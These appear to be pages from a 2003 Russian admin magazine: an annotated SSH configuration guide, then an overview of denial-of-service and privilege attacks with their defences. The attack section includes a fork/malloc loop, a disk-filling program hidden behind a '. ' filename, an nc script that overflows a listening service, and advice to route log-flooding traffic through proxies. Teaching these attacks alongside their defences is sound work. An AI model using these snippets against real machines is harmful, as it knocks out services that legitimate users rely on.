Аутентификация пользователя по его публичному ключу Аутентификация удалённого пользователя по ключу идентична проверке ключа хоста (с посылкой рандомной строки) за тем исключением, что проверяется не адрес клиентской машины, а ключ клиента и имя пользователя. Данному пользователю на сервере может соответствовать его публичный ключ, тогда клиент, имея секретный ключ, сможет заходить на сервер без пароля. Механизм работы я только что описал, поэтому сразу же расскажу, каким образом аутентифицировать пользователей по ключу (предполагается, что используется клиент и сервер openssh). Для генерации пары ключей используйте программу ssh-keygen. Для указания типа ключа укажите sshkeygen -t {RSA DSA}, например, sshkeygen -t rsa создаст пару ключей RSA длиной 1024 бита. Для указания файла, в котором следует сохранить ключи, можно использовать опцию -f (традиционно используются файлы $HOME/.ssh/id_rsa и $HOME/.ssh/ id_dsa для ключей rsa и dsa соответственно), для указания длины ключа в битах используйте опцию: -b: ssh-keygen -t rsa -b 2048 -f $HOME/.ssh/id_rsa

В результате работы программа запросит ввод пароля для шифрования секретного ключа, чтобы исключить использование его при попадании к посторонним лицам, не знающим пароля (пароль желательно выбирать не короче 10-и символов). После этого вам будет необходимо вводить данный пароль каждый раз при использовании секретного ключа (далее я расскажу, как избежать этого

29


администрирование при помощи программы ssh-agent). После работы ssh-keygen создаётся пара ключей: один секретный (зашифрованный введённым паролем), а другой – публичный с расширением .pub (id_rsa.pub). Публичный ключ вам необходимо будет скопировать в домашнюю директорию сервера $HOME/ .ssh/authorized_keys. После этого сервер будет знать ключ данного пользователя и сможет аутентифицировать вас без пароля. Файл authorized_keys может содержать несколько публичных ключей, допустимых для данного пользователя: просто поместите их в данный файл по порядку. После этих операций вы сможете входить, имея секретный ключ, на сервер, где размещён ваш публичный ключ, причём под тем пользователем, в чьём домашнем каталоге данный ключ находится. Пароля удалённого пользователя не требуется, необходимо только знать пароль расшифровки секретного ключа. Для переноса своего публичного ключа на сервер надо использовать только безопасные источники, иначе ваш ключ могут подменить. Для переноса публичного ключа клиента служит программа ssh-copy-id. Для начала необходимо сделать следующее: # ssh-copy-id user@machine

-i public_key_file

После соединения с сервером machine и передачей имени пользователя user (необходимо указывать, если удалённое имя отличается от локального) происходит парольная аутентификация заданного пользователя (или текущего) на удалённой машине, затем происходит копирование ключа public_key_file (или $HOME/ .ssh/identity.pub, если имя файла не указано) на сервер в $HOME/.ssh/ authorized_keys. После этого можно входить на сервер, не используя пароль пользователя. При выполнении данной операции учтите, что вы должны скопировать на удалённую машину ПУБЛИЧНЫЙ ключ, иначе всё будет очень печально (думаю, ясно почему).

Обычная парольная аутентификация Тут можно отметить только одно: в любом случае вначале идёт обмен асимметрическими ключами, и хеш пароля передаётся в зашифрован-

30

ном виде. Парольная аутентификация используется наиболее часто, но, честно говоря, ssh предлагает более удобные методы аутентификации, и пользоваться ими можно, если к ssh есть все заплатки. И, конечно же, протокол версии 1 необходимо вырубить вообще. Итак, начинаем настройку... Я заметил, что большинство администраторов просто оставляют конфиги клиента и сервера по умолчанию, чтобы руки не марать. Но это неправильно: в разных системах эти конфиги различаются очень существенно, и это приводит к неразберихе и непониманию работы сервера, что создаёт дополнительную угрозу безопасности (свой сервак – потёмки). Для этого я решил описать файлы конфигурации ssh на примерах ssh_config и sshd.conf для клиента и сервера соответственно. Для конфигурации клиента используется файл $HOME/.ssh/config или /etc/ ssh/ssh_config (для всей системы). Файл имеет следующий формат: определение адреса хоста и параметры для него. В адресе можно использовать обычные шаблоны «*» и «?», все имена параметров и их значения должны быть набраны в том же регистре, что и в примере (иначе параметр воспринят не будет). Вот пример ssh_config, который содержит наиболее полезные опции (на самом деле описывать некоторые параметры конфигурации ssh не имеет смысла, т.к. употребляются они очень редко): # Определение хоста, в данном случае включает все хосты домена test.ru, можно использовать одиночный символ «*» чтобы указать параметры доступа к любому хосту Host *.test.ru # Эта опция определяет, будет ли ssh использовать передачу данных от удалённого X сервера через свой безопасный канал. Далее будет описано, каким образом организуются безопасные туннели через ssh. Данная возможность позволяет защищать по идее небезопасные протоколы(X, pop, smtp, ftp) шифрованием ssh. По умолчанию данная опция – no ForwardX11 yes # Список предпочтительных методов аутентификации через ssh версии 2. Первым стоит самый предпочтительный протокол, думаю, значения данного параметра ясны PreferredAuthentications hostbased, publickey,keyboard-interactive # Этот параметр определяет, будет ли производится стандартная парольная про-

верка. По умолчанию – yes. PasswordAuthentication yes # Число попыток ввода пароля перед тем, как клиент отсоединяется от сервера. По умолчанию пароль можно вводить трижды NumberOfPasswordPrompts 3 # Список допустимых пользователей для данного сервера. Можно применять два формата: список пользователей, разделённых пробелом, и список пользователей и хостов, разделённых пробелом (USER@HOST - разрешает данному пользователю доступ только с данного адреса). Можно использовать выражения «*» и «?». Подобное же назначение имеют опции AllowGroups, DenyUsers и DenyGroups(для групп нельзя указывать адрес клиента) AllowUsers *@*.test.ru DenyUsers xakep lamer DenyGroups x* # Использование ssh(2 версия) аутентификации через rhosts и RSA ключи. По умолчанию – no HostbasedAuthentication yes # Будет ли клиент пытаться работать по rsh, если ssh недоступен или по какимто причинам работает неправильно. По умолчанию – no FallBackToRsh no # Используем ли rsh. По умолчанию – no UseRsh no # Режим скрипта, когда не спрашиваются пароли с терминала. По умолчанию – no BatchMode no # Дополнительно проверяется ключ хоста удалённой машины в known_hosts, что исключает подмену ip. По умолчанию – yes CheckHostIP yes # Данный параметр означает, будет ли клиент доверять полученным от серверов ключам. Параметр может принимать следующие значения: yes - ключи никогда автоматически не помещаются в known_hosts, ask - ключ может быть помещён в known_hosts только после подтверждения пользователя, no - все ключи автоматически размещаются в known_hosts (небезопасно). По умолчанию – ask StrictHostKeyChecking ask # Следующие параметры определяют секретные ключи ssh различных форматов: rsa и dsa IdentityFile $HOME/.ssh/id_rsa IdentityFile $HOME/.ssh/id_dsa # Порт, на удалённой машине используемый ssh. По умолчанию 22 Port 22 Версии протоколов, используемые клиентом в порядке убывания приоритета Protocol 2 # Протокол шифрования для версии 1 протокола ssh Cipher 3des # Возможные протоколы шифрования в порядке убывания приоритета для протокола версии 2 Ciphers aes128-cbc,3des-cbc,blowfishcbc,cast128-cbc,arcfour,aes192cbc,aes256-cbc # Значение escape-символа, сигнализирующего, что идущие за ним символы необходимо воспринимать специальным образом (например ~. вызовет немедленное отключение клиента от сервера) при передаче двоичных данных необходимо установить этот параметр в none, что выклю-


администрирование чает escape последовательности. По умолчанию ~ EscapeChar ~ # Управление работой компрессии зашифрованнного трафика. Полезный параметр для медленных сетей, т.к. зашифрованные данные обычно увеличиваются в размере за счёт фиксированной длины ключа. Компрессия позволяет уменьшить количество данных, передаваемых через сеть, но увеличит время работы самого протокола. Так что включать этот параметр желательно на медленных соединениях. По умолчанию – no Compression yes # Управляет посылкой сообщений о доступности клиента серверу, что позволяет нормально разорвать соединение, если произошла неполадка в сети или иная, приведшая к разрыву соединения. Если связь плохая, то лучше эту опцию отключить, чтобы дисконнект не происходил после каждой ошибки сети. По умолчанию – yes KeepAlive yes

Я думаю, что в данном примере всё объяснено достаточно подробно и скажу только вот что: в большинстве случаев опции по умолчанию работают неплохо, необходимо только отключить поддержку ssh версии 1 и настроить необходимые методы аутентификации (кроме парольной) и указать пути доступа к ключам. На этом закончим с настройкой клиента и настроим сервер. Файл конфигурации сервера sshd находится в /etc/ssh/sshd_config, и многие его параметры совпадают с аналогичными в ssh_config, но здесь нет определений хостов, как это было в ssh_config. Я всё же приведу пример sshd_config, чтобы далее не возникало вопросов: # Номер порта и версия протокола Port 22 Protocol 2 # Адреса, на которых слушает сервер, можно также указывать порт (server.test.ru:2022), но назначение ssh нестандартного порта нецелесообразно, т.к. заинтересует потенциальных взломщиков («А чего это там они прячут?») ListenAddress server.test.ru # Ключ сервера для протокола версии 1 HostKey /etc/ssh/ssh_host_key # Ключи rsa и dsa для ssh версии 2 HostKey /etc/ssh/ssh_host_rsa_key HostKey /etc/ssh/ssh_host_dsa_key # Данные значения определяют длину ключа сервера и его время жизни для использования ssh версии 1 (данный ключ будет заново генерироваться через заданное время) KeyRegenerationInterval 3600 ServerKeyBits 768 # Далее определяем методы аутентификации для данного сервера и её параметры.

№1(2), январь 2003

# Сервер отсоединяется по происшествии данного времени в секундах, если клиент не проходит аутентификацию LoginGraceTime 600 # Разрешаем заходить по ssh руту. Долгое время эта тема обсуждалась на форуме, но я думаю всё же, что со внутренней сети рут может заходить и по ssh (для этого надо настроить должным образом iptables). Также можно запретить руту входить по паролю: without-password, разрешая вход только по публичному ключу PermitRootLogin yes #Проверка sshd прав доступа и владельцев домашних каталогов. Полезно для тех пользователей, что дают права всему 0777. Хотя таких болванов лучше держать на расстоянии от сервера (лучше всего это делать бревном, подвешенным в серверной к потолку, чтобы придать нежеланному гостю должное ускорение, и не забудьте оббить конец бревна какой-нибудь железкой, иначе брёвна придётся менять лишком часто) StrictModes yes # Аутентификация через RSA (версия 1) RSAAuthentication yes # Аутентификация пользователя по ключу (версия 2) PubkeyAuthentication yes # Определяет публичный ключ пользователя для аутентификации по ключу. Можно применять шаблоны: %u – имя пользователя, %h – домашний каталог пользователя AuthorizedKeysFile .ssh/ authorized_keys # Не используем аутентификацию rhosts RhostsAuthentication no # Можно также игнорировать rhosts и shosts при hostbased autentification, используя только known_hosts файл IgnoreRhosts yes # Используем ли аутентификацию через known_hosts совместно с .rhosts или .shosts. Опция действительна только для протокола версии 1 RhostsRSAAuthentication no # То же самое, что и предыдущее только для версии 2 HostbasedAuthentication yes # Если нет доверия к known_hosts, то их можно не использовать при hostbased autentification. По умолчанию – no IgnoreUserKnownHosts no # Чтобы запретить посылку хешей паролей через туннель ssh задайте значение данной опции no. По умолчанию аутентификация по паролю разрешена PasswordAuthentication yes # Можно также разрешить пустые пароли, но это полный отстой, т.к. это огромная дыра на сервере, через которую можно наделать много гадостей! Поэтому должно быть – no (по умолчанию) PermitEmptyPasswords no # Аутентификация через механизм PAM PAMAuthenticationViaKbdInt no # Передача протокола иксов через туннель ssh X11Forwarding yes # Используем в качестве x-сервера данный, т.е. клиент, запуская у себя x-

клиента будет фактически использовать наш сервер, но все данные от сервера к клиенту будут шифроваться, что есть хорошо! X11UseLocalhost yes # При логине пользователя выводим / etc/motd: в некоторых системах это отменено в целях безопасности PrintMotd yes # Сообщаем пользователю время и место последнего логина, ситуация, аналогичная предыдущей PrintLastLog yes # Посылать клиенту сообщения о доступности KeepAlive yes # Максимальное число возможных соединений, где не произошло аутентификации. Если клиентов, не прошедших аутентификацию больше, то новые соединения не будут обрабатываться MaxStartups 10 # Путь к файлу, который будет отображаться при входе клиента ДО аутентификации Banner /etc/ssh_message # Проверка соответствия ip-адреса клиента и его символического имени в backzone, затем снова сравнение имени с ip адресом. Таким образом (извращённым) проверяется подлинность ip, но метод этот достаточно тормозной и по умолчанию он отключен VerifyReverseMapping no # Новые системы, работающие через ssh. В данном примере определяется «безопасный» ftp сервер – sftp, аналогичный доступ пользователя, но с возможностью передачи файлов (т.е. пользователь получает доступ ко всем своим файлам и нет возможности настройки разрешений и виртуальных пользователей, как, например в proftpd). По сути дела, подсистемы ssh могут обеспечивать прохождение других протоколов по сети, но под «крылышком» ssh. Например, для sftp-сервера есть одноимённый sftp-клиент. Его интерфейс полностью идентичен оригинальному ftp, но с одним отличием: происходит та же самая аутентификация пользователя на удалённом сервере (методами ssh), но вместо оболочки с пользователем взаимодействует подсистема, в данном случае sftp. Subsystem sftp /usr/lib/ ssh/sftp-server

Ну вот, вроде бы всё настроено! Теперь я бы хотел поговорить о некоторых фичах, работающих в ssh. Но с начала несколько слов о туннелях. SSH имеет встроенную возможность передавать данные с локального порта на удалённый, используя сетевой туннель, причём данные, передаваемые через туннель, будут шифроваться. То есть происходит аутентификация на удалённой системе, а затем начинается перенаправление трафика через туннель. Таким образом, можно перенаправлять любой трафик, а протокол иксов может работать в интерактивном режиме,

31


администрирование для этого необходимо включить соответствующие опции в файлах конфигурации сервера и клиента (это было описано ранее). Для других же портов необходимо вызывать ssh с параметром:

IgnoreHosts RhostsAuthentication RhostsRSAAuthentication RSAAuthentication HostbasedAutentification PasswordAuthentication PermitEmptyPasswords UseLogin

yes no no yes no no no no

PermitRootLogin without-password - L{LOCAL_PORT}:{LOCAL_ADDRESS}: {REMOTE_PORT}: # ssh -L10101:localhost:101 server.test.ru

Такой туннель довольно быстро умирает, т.к. сервер автоматически убивает «ленивых» клиентов. Поэтому можно применить метод, который позволяет устанавливать произвольное время удержания туннеля – выполнить sleep на удалённом сервере: # ssh -f -L10101: loclahost:101 server.test.ru sleep 100

Данная команда держит туннель 100 секунд, чего достаточно для любого соединения. И ещё одна вещь: когда по туннелю передаются данные, то он не уничтожается, что хорошо для реализации безопасного ftp smtp и pop3 протоколов (впрочем, sftp-сервер имеется уже и в поставке openssh, применение его не должно вызвать затруднений sftp [user@]hostname, т.к. фактически это особая реализация ssh протокола и механизм работы sftp абсолютно идентичен механизму ssh). Чтобы отключить перенаправление портов, необходимо установить опцию sshd AllowTcpForwarding в no. Использование длительной задержки ssh туннеля несколько уменьшает безопасность, т.к. во время ожидания злоумышленник имеет больше шансов на атаку (но механизм ssh версии 2 позволяет избежать подобной ситуации подписыванием передаваемых сообщений). Вот что сделал бы я для безопасного ssh. Для начала создал бы rsa ключ длиной 4096 бит: # ssh-keygen -t rsa -b 4096

Затем скопировал бы данный ключ с помощью дискеты или ssh-copy-id на удалённый сервер(а): # ssh-copy-id -i $HOME/.ssh/id_rsa remote_host

После этого запретил бы парольную и всякую hostbased аутентификацию в sshd_config:

32

И отключим потокол версии 1 (по умолчанию – Protocol 2,1 и сервер падает к ssh 1, при неудаче – ssh 2): Protocol 2

Ну вот теперь, чтобы зайти на сервак по ssh надо ввести нехилый (а он должен быть нехилый!) пароль секретного ключа. Немножко неудобно, не правда ли? Можно хранить пароль для секретного ключа в памяти на протяжении работы некоторой программы (например, bash) и при запросе его ssh клиентом доставать из памяти. Для этой цели служит программа sshagent (агент аутентификации ssh). Агент запускает необходимую программу и ждёт добавления новых секретных ключей (ssh-agent хранит расшифрованные секретные ключи). Для этой цели есть другая программа sshadd, которая добавляет в агент ключи $HOME/.ssh/id_rsa, id_dsa, identity. Если необходимо добавить другие ключи, то надо запустить ssh-add с именем файла: ssh-add filename. Учтите, что при добавлении ключа в агент ssh-add вам всё равно необходимо ввести пароль для его расшифровки, но пока агент находится в памяти (пока вызванная им программа не завершилась), вводить пароль секретного ключа не надо: ключ берётся из ssh-agent. Причём контакт с sshagent может устанавливать только программа, запущенная им (и все её дочерние процессы), т.к. устанавливаются переменные окружения. Обычный метод запуска ssh-agent: # ssh-agent bash # ssh-add Enter passphrase for “.ssh/id_rsa”: Enter passphrase for “.ssh/id_dsa”: .ssh/ identity : No such file or directory

После завершения работы оболочки ssh-agent завершается, а ключи удаляются из памяти. Ну и наконец, можно разрешить доступ определённых пользователей с определённых машин. Это делается полем AllowUsers в sshd_config или

правилами iptables. Думаю, этого достаточно для нормальной и безопасной работы на удалённом сервере через ssh. Особо мнительные могут запретить доступ рута по ssh (PermitRootLogin no) и делегировать часть его прав с помощью sudo. Ну и использовать протокол версии 2 (такие плюсы, как алгоритм вычисления симметрического ключа на основании пары асимметрических и подписывание сообщений, передаваемых по сети, а также 2 версия протокола ssh быстрее первой). Существует множество клиентов ssh, работающих на разных ОС: Windows: ! putty: http://www.chiark.greenend.org.uk/ ~sgtatham/putty.html ! raju: ftp://ftp.franken.de/pub/win32/ develop/gnuwin32/cygwin32/ porters/mathur_raju ! cigaly: http://www.doc.ic.ac.uk/~ci2/ssh/ ! f-secure: http://www.datafellows.com/f-secure/ fclintp.htm ! secure crt: http://www.vandyke.com/ products/securecrt/ ! ttssh: http://www.zip.com.au/ ~roca/ttssh.html ! therapy: http://guardian.htu.tuwien.ac.at/ therapy/ssh/ ! chaffee: http://bmrc.berkeley.edu/ people/chaffee/winntutil.html ! sergey okhapkin: http://www.lexa.ru/sos/ ! fissh: http://www.massconfusion.com/ssh/ Mac:

! niftytelnet+ssh: http://www.lysator.liu.se/ ~jonasw/freeware.html ! f-secure: http://www.datafellows.com/f-secure/ fclintp.htm Хороший список ссылок по ssh находится на www.heimhardt.com, полезным мне показался также сайт www.openssh.com, ну и есть документация по ssh (правда версии 1) на сайте www.opennet.ru.


БЕЗОПАСНОСТЬ


АЛЕКСАНДР ПОТЁМКИН

ОБЩИЙ ОБЗОР наиболее часто применяемых техник компьютерных атак и защиты от них В принципе для всех систем существуют некие общие уязвимости. Здесь я попытаюсь осветить наиболее часто используемые техники атак и защиты от них. Основная классификация уязвимостей с оценкой важности может выглядеть так:

Относительность здесь вполне объяснима – ведь результат же всё равно будет налицо – машина выйдет из строя или будет не в состоянии обслуживать пользователей какое-то время. Однако перейдём к конкретике.

Local D.o.S. attack D.o.S.-атаки (Denial of Access – отказ в доступе) могут быть популярны, потому что особых навыков не требуют. Здесь используется грубая сила, да и только. Из локальных методов здесь можно выделить исчерпание ресурсов памяти и процессора и/или места на диске. Первый метод реализации D.o.S.атаки (исчерпывание ресурсов памяти) может выглядеть так (примеры приведены для *nix систем):

{ while(1) /*Бесконечный цикл*/ { malloc(10000); /*Из помощи man: calloc, malloc, free, realloc – Allocate and free dinamic memory – занимаем определённый объём памяти*/ fork(); /*Оттуда же: fork – create a child process – и создаём много дочерних процессов (порождёных процессом-родителем)*/ } }

В данном случае надо отдавать себе отчёт, что машина перестанет подавать какие-либо признаки жизни очень быстро, и единственным методом вывести её из забытия будет даже не волшебная комбинация из трёх пальцев (Ctrl+Alt+Del), а только маленький «апдейт» к ней – Reset, со всеми вытекающими последствиями. Второй метод – это забивание дискового пространства. Результатом может быть невозможность нормального функционирования системы и, что наиболее интересно в этой ситуации – все попытки syslogd (или её аналога в Windows NT-based) записать лог будут неудачными… Из локальных реализаций такого метода самым простым (по необходимым навыкам программирования) будет сочетание языков Си и shell: Листинг программы Echo.c :

Листинг программы LocalDoS.c: #include <stdio.h> main ()

34

#include <stdio.h> void main() { while (1)

printf («X»); /*Печатаем символ “X”*/ } Листинг disk_DoS.sh : #!/bin/sh ./echo > /tmp/.

Здесь есть маленькая хитрость – стандартный вывод пойдёт в файл с именем “. “ (то есть «точка пробел»), а потому в листинге, получаемом командой “ls” будет не очень заметен (даже при добавлении опции “ -a”). Избавиться от таких проблем можно относительно легко – установлением ограничений на ресурсы, отводимые каждому конкретному пользователю (или группе пользователей) и организацией ОС ещё на этапе инсталляции. Итак, по порядку это будет выглядеть следующим образом: Защищая процессор/процессоры, память и дисковое пространство от таких глупых программ, устанавливается лимит ресурсов, выделяемых пользователю. Неплохо бы не переборщить, иначе будет невозможно даже vi запустить… Лучше всего поработать от лица конкретного пользователя, посмотреть сколько ему может потребоваться ресурсов. Защищая всю систему как работоспособный организм от последствий заполнения диска, необходимо было ещё на уровне инсталляции системы некоторые каталоги поместить в отдельные разделы (первыми претендентами туда идут /tmp, /var, /home),


безопасность таким образом можно и работоспособность системы сохранить при заполнении этих разделов, и поставить разные полезные опции команде mount, например, запретить siud-ные программы… Откуда им взяться у простых пользователей или во временном каталоге…? Однако таким образом система не застрахована от невозможности вести лог. Здесь может помочь только ежечасное cronзадание в виде, скажем, shell-скрипта, который будет искать файлы определённого размера в наших отдельных разделах, и в случае нахождения их архивировать и помещать в каталог /root. Здесь стоит позаботиться о том, чтобы это задание (равно как и все другие – хуже от этого не будет) не было читаемо для всех, иначе можно обойти нашу политику разбиения на разделы. Это может быть реализовано с помощью утилит “find”, “xargs” и “gzip”.

Remote D.o.S. attack С локальными D.o.S.-атаками разобрались. Теперь перейдём к атакам удалённым, основная задача всё та же – вывести машину из строя на какой-то период времени, когда доступ к машине есть только удалённый. Воздействовать остаётся только на те демоны/сервисы, которые «вывешены» для доступа. Такого вида атаки можно условно разделить на два типа – атака посредством большого количества запросов и атака, реализующая дыру в программном обеспечении. Для реализации первой атаки не требуется практически никаких особенных знаний, только большая пропускная способность линии, по которой происходит доступ к данной сети. Суть наиболее распространённой в этом виде атак заключается в применении принципов реализации TCP/IPпротокола. Здесь для реализации атаки интересна начальная стадия установки соединения между двумя машинами. Для лучшего понимания рассмотрим всё это на конкретном примере – обращение к почтовому сервису клиента (client) на сервер (victim). Естественно, что, для того чтобы можно было воспользоваться услугами какого-либо сервиса/демона, необходимо, чтобы была готовность обслуживать –

№1(2), январь 2003

то есть необходимо, чтобы программа прослушивала какой-либо порт на наличие «желающих подключиться». Когда таковые находятся, происходит следующее: Клиент создаёт определённые TCP-пакеты, из которых заголовок первого всегда должен быть с установленным битом SYN и без бита ACK. В последующих пакетах всё ровно наоборот. Итак, далее сервер отвечает (если отвечает) на первый пакет клиента пакетом с установленным битом ACK – ответом на получение пакета и своим SYN-запросом синхронизации. При получении этого пакета от сервера, содержащего подтверждение и запрос, клиент передает собственное подтверждающее сообщение. Только теперь соединение считается открытым; до последнего момента это было полуоткрытое соединение. В описываемой атаке используется именно эта первая стадия. На машине атакующего создаётся большое количество пакетов с установленным SYN-битом и посылается на сервер. В результате почтовый демон/сервис будет какое-то время занят только обработкой поступающих пакетов. Далее результат в основном зависит от настроек сервера и других вещей. В том случае если пакеты посылались от «лица» одной существующей в сети машины, то почтовик разберётся достаточно быстро, так как «подставленная» машина уже на третьем этапе вышеописанной цепочки заявит, что она «знать не знает» ни о каких таких запросах, и соединение на стороне сервера будет обнулено. В том же случае если сообщения будут посылаться от «лица» несуществующей в сети машины, то серверу придётся ждать какое-то время никогда не придущего ответа на свой запрос. Таким образом, ресурсы будут заняты более длинное время. Наибольшей «популярностью» пользуются программы, которые сами генерируют адреса «подставных» машин и посылают запросы как бы от них. Результат – выведение атакуемой машины на более длительный промежуток времени. В это время с victim возможны два варианта: в том случае если администратор поставил ограничения на количество возмож-

ных запусков программы, то ничего смертельного для системы не случится, случится только то, что так называемые законные пользователи не смогут воспользоваться услугами почтового сервера (вплоть до того момента, пока не будут обработаны все запросы, посылаемые с client на victim). В том случае если администратор по доброте душевной или по каким другим причинам такого ограничения не поставил, то всё будет прозаичнее – так как ресурсы машины какое-то время останутся «захваченными», то сводного места для действий у системы будет оставаться всё меньше. В конечном итоге может произойти полное исчерпание ресурсов системы, которое приведёт к тому, что запросы будут обрабатываться всё медленнее и медленнее. Все операции могут быть приостановлены, пока не будут обработаны все поступившие запросы. Такая ситуация, кстати, не будет вечной. В конечном итоге машина может уже игнорировать поступающие TCP-пакеты. Одним из неплохих методов отслеживания состояния системы может служить её пингование. Только для получения относительно точного результата необходимо производить это либо с другой машины, чтобы загруженность канала машины атакующего не сказывалась на результате, либо следить за тем, чтобы загруженность канала не сильно влияла на время получения ответа от системы. Далее может существовать два пути – либо надеемся на создание непредусмотренной ситуации и, соответственно, на крах системы, либо ждём пока система обработает всё, что ей выдали. Второй тип удалённых D.o.S.-атак реализуется благодаря ошибкам в программном обеспечении. Уровень реализации можно поделить на два: уровень конкретной программы и уровень операционной системы. На уровне конкретной программы обычно эксплуатируются ошибки при программировании. Наиболее популярными из них на данный момент являются ошибки переполнения буфера (buffer overflow). Механизм действия достаточно прост, для большей наглядности рассмотрим его на конкретном примере. Пусть существует некоторая программа, которая про-

35


безопасность слушивает, скажем, порт 2101, и в задачи которой входит ожидание какой-то строки, которая при получении отсылается, скажем, на root@localhost (суперпользователю на локальной машине). Программа вроде полезная, но проблема у ней следующая: под буфер, в который помещается получаемая строка, отведено всего 32 768 бит. Скажем, какой-то программист, просматривая эту программу, обнаружил эту ошибку. Дальнейшая логика действий проста – ей посылается 32 768 плюс ещё сколько-то бит. В программе такой поворот событий не предусмотрен, а потому она аварийно завершается. При этом происходит то самое переполнение буфера, и появляется возможность немного поиграться с машиной, на которой запущена эта «дырявая» программа. Обычно желаемым действием является вызов командного интерпретатора. Привилегии, с которыми этот интерпретатор будет запущен, напрямую зависят от того, с какими привилегиями «бегала» наша испытуемая. Вот, собственно, и вся история. Впрочем, это всё так легко только на словах, так как зачастую необходимо возиться с регистрами процессора. Так как сейчас мы рассматриваем только удалённую атаку на отказ в обслуживании, то достаточно будет сказать, что, для того чтобы просто «свалить» программу, достаточно ей просто послать, скажем, 32 770 бит. А вот это уже можно сделать, не особо копаясь в процессоре, немножко модифицировав программку char_echo, и связав её с “nc” (net cat): Листинг программы Char_echo.II.c : #include <stdio.h> main () { int i; /*Объявляем переменную…*/ for (i=0; i<=33000; i++) /*Запускаем цикл на 33000 "заходов"*/ printf ("X"); /*И печатаем символ 'X'*/ } Листинг go.sh : #!/bin/sh ./echo_char | nc victim 2101

Всё, что называется весьма прозаично, не требует особых мудрствований в программировании. Потом можно проверить работоспособность сервера, просто подключившись напрямую к порту. Если соединения не будет, то это значит, что демон/сервис

36

на какое-то время оказался в небытии. Это что касаемо атак на уровне программ; на уровне операционной системы всё немножко интереснее. Задача заключается в том, чтобы либо ядро, либо какой-нибудь серьёзный модуль ядра не смог обработать ситуацию и привёл либо к “kernel panic” (панике ядра – *nix системы), либо к “The blue screen of death” (синему экрану смерти – соответственно Windows-системы). Итог – автоматическая перезагрузка, полное зависание системы, приостановка работы, недоступность сети – что называется, на выбор. В общем и целом опятьтаки законные пользователи не могут воспользоваться услугами сервера какое-то время. Зачастую такие атаки реализуются на ошибке в обработке протокола в общем и пакетов в частности. Самый банальный и немало известный пример – это здравствующая и поныне программа WinNuke. Программ, подобных этой, немало, да и существуют они не только для излюбленной народом ОС Windows. В список уязвимых попадают и такие операционные системы как Linux и OpenBSD. Итак, относительно вывода системы из строя удалённо – всё. Теперь стоит рассказать ещё немного про приём, который может оказаться полезным в сочетании с чем-нибудь другим. Речь идёт об описанной ранее процедуре засорения дискового пространства системы. Конечной целью может являться невозможность системы протоколировать действия, которые с ней производятся. Можно также ориентироваться не на систему, а на человека – посылая большое количество фальшивых запросов, получим долгую обработку или даже игнорирование происходящих событий, имеющих малое отношение к действительности. Оба варианта требуют большой пропускной способности канала атакующего. Путей для реализации «плана максимум» относительно немало: любой сервис, к которому можно получить доступ, является потенциальной мишенью. Например, это может быть достаточно широко распространённый на многих машинах веб-сервер, ведь каждое обращение протоколируется, и потому можно, например, через анонимный прокси-сер-

вер посылать уйму запросов. Лучше всего это делать через разные прокси-серверы, для того чтобы было сложнее вычислить. В том случае если приблизительно известно дисковое пространство, отведённое под систему (например, при наличии локального доступа свободное пространство узнаётся очень легко), то узнаётся, какой веб-сервер работает на атакуемой системе, приблизительно высчитывается пространство, которое тратится после каждой записи, и вперёд… Также можно использовать любые средства протоколирования (например, такие вещи как tcpspy, icmplog,…). Однако же, для этого необходим мощный канал связи. Теперь: как с этим бороться. Относительно первой описанной атаки, SYN flood, однозначных методов борьбы нет, особенно если «подставляется» не одна машина, а целая серия. Полное закрытие доступа может отрезать законных пользователей от машины (иногда, кстати, может преследоваться именно эта цель, ведь каждый потенциальный покупатель, который не смог обратиться в нужное время к интернет-магазину может уйти к конкуренту, и тем самым атакуемый магазин будет терять прибыль), но и смотреть, как некто пытается вывести машину из строя, – не самое лучшее занятие. В общем, это каждый должен решать для себя. Единственное, что можно сказать точно, так это то, что лучше ограничивать программы в ресурсах, пусть и очень большой цифрой, но всё же ограничивать. Выяснение IP-адреса в большинстве случаев будет невозможно, и достать злоумышленника будет очень сложно. Разработки в защите от подобного рода атак ведутся, но распространения практически не имеют. Борьба с атаками второго рода сводится к регулярному обновлению программного обеспечения, дабы были исправлены обнаруженные ошибки в системе и/или программе. И относительно последнего трюка – здесь совет всё тот же, что и в защите от локальных D.o.S.-атак, и небольшое «сетевое» дополнение – не надо вешать на свою машину слишком много следящих средств, и неплохо бы позаботиться о том, что-


безопасность бы их журналы располагались в независимых от системы местах. Итак, с атаками на отказ в обслуживании в общем и целом разобрались, теперь разберёмся с атаками на получение прав суперпользователя на атакуемой машине.

Local root attack Наверное, можно точно сказать, что атаки на получение прав root или Administrator гораздо более опасны, так как атакующий получает полный доступ к машине, и может сделать всё что угодно – начиная от возможного удаления данных и заканчивая так называемой компрометацией системы (проведение других атак с этой машины). Здесь также есть деление на локальное и удалённое получение необходимых прав. Начнём, пожалуй, с локального варианта, так как зачастую он наиболее легко реализуем. Связанно это с тем, что при локальном доступе у пользователя гораздо больше возможностей найти «дырявую» программу. А далее – всё то же самое, что и описывалось ранее для удалённых атак на отказ в обслуживании – наиболее любимым способом заставлять программу делать не то, что ей «положено», является выход за пределы отведенного буфера. В том случае если программа имеет так называемый SIUD-бит, и если пользователь вообще имеет право на запуск этой программы, то её запуск произойдет от лица суперпользователя. Эти программы являются наиболее «лакомым» кусочком для поиска дырок. Существует же, однако, и другой род программ, дающих права суперпользователя – те, которые уже работают при запуске системы, и которым «по работе» необходим доступ к любому месту операционной системы. Например, это может быть почтовый демон. И алгоритм работы здесь точно такой же – переполнение буфера. Впрочем, в работе локально добавляются ещё и другие прелести жизни – эта атака использует небезопасное создание временных файлов. Для лучшего понимания опятьтаки рассмотрим пример: пусть существует база данных, которая во время запуска создаёт временный файл /tmp/NameOfFile.some_addition. Зача-

№1(2), январь 2003

